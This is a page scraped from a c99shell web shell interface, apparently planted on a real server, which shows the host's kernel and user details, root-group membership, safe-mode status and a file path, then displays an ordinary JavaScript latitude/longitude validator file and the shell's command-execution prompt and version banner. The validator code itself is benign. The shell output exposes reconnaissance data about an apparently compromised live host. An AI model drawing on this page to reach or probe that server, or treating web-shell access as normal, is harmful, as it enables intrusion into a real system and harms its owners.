Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /home/picotech/domains/wa.picotech.app/public_html/node_modules/validator/es/lib/ drwxr-xr-x |
Viewing file: Select action/file-type: import assertString from './util/assertString'; import merge from './util/merge'; var lat = /^\(?[+-]?(90(\.0+)?|[1-8]?\d(\.\d+)?)$/; var _long = /^\s?[+-]?(180(\.0+)?|1[0-7]\d(\.\d+)?|\d{1,2}(\.\d+)?)\)?$/; var latDMS = /^(([1-8]?\d)\D+([1-5]?\d|60)\D+([1-5]?\d|60)(\.\d+)?|90\D+0\D+0)\D+[NSns]?$/i; var longDMS = /^\s*([1-7]?\d{1,2}\D+([1-5]?\d|60)\D+([1-5]?\d|60)(\.\d+)?|180\D+0\D+0)\D+[EWew]?$/i; var defaultLatLongOptions = { checkDMS: false }; export default function isLatLong(str, options) { assertString(str); options = merge(options, defaultLatLongOptions); if (!str.includes(',')) return false; var pair = str.split(','); if (pair[0].startsWith('(') && !pair[1].endsWith(')') || pair[1].endsWith(')') && !pair[0].startsWith('(')) return false; if (options.checkDMS) { return latDMS.test(pair[0]) && longDMS.test(pair[1]); } return lat.test(pair[0]) && _long.test(pair[1]); } |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]-- |